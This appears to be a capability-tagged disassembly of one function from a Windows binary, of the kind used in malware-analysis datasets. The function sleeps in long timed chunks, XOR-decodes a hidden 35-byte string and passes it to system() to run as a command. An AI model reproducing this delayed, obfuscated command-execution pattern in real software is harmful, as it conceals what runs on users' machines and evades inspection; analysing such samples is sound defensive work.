Function at 0x140004d50
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov rax, rsp
sub rsp, 0x78
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax - 8], rdi
call fcn.14001de50
mov edx, 0x258
mov ecx, 0x190
call fcn.140002930
mov eax, eax
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x80], rax
call fcn.14000c080
lea rcx, [rsp + 0x80]
call fcn.140002850
mov rbx, qword [rsp + 0x80]
movabs rax, 0x7ffffffffa0a1efe
cmp rbx, rax
jg 0x140004dbb
add rbx, 0x5f5e100
jmp 0x140004dc5
movabs rbx, 0x7fffffffffffffff
movabs rdi, 0x4e94914effff
movabs rsi, 0x431bde82d7b634db
nop dword [rax]
lea rcx, [rsp + 0x80]
call fcn.140002850
mov rax, qword [rsp + 0x80]
cmp rbx, rax
je 0x140004e3f
jl 0x140004e3f
mov rcx, rbx
sub rcx, rax
cmp rcx, rdi
jg 0x140004e33
mov rax, rsi
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x140004e2a
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x140004de0
mov ecx, 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x140004de0
movzx eax, word [0x140021160]
xor ecx, ecx
cmp dword [0x140030088], 2
movups xmm0, xmmword [0x140021140]
mov rdi, qword [rsp + 0x70]
movups xmm1, xmmword [0x140021150]
mov rsi, qword [rsp + 0x90]
mov rbx, qword [rsp + 0x88]
mov word [rsp + 0x50], ax
movzx eax, byte [0x140021162]
mov byte [rsp + 0x52], al
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm1
jl 0x140004fd9
movdqa xmm0, xmmword [0x14002b0d0]
lea rdx, [rsp + 0x34]
movdqa xmm5, xmmword [0x14002b000]
movdqa xmm4, xmmword [0x14002b100]
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [rsp + 0x60], xmm6
movdqa xmm6, xmmword [0x14002b030]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14002b0b0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14002b0b0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x20
jl 0x140004ed0
movaps xmm6, xmmword [rsp + 0x60]
cmp ecx, 0x23
jge 0x14000501d
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x36
movzx eax, cl
inc ecx
sub al, dl
add al, 0x32
xor byte [r8 - 1], al
cmp ecx, 0x23
jl 0x140004ff0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0x78
ret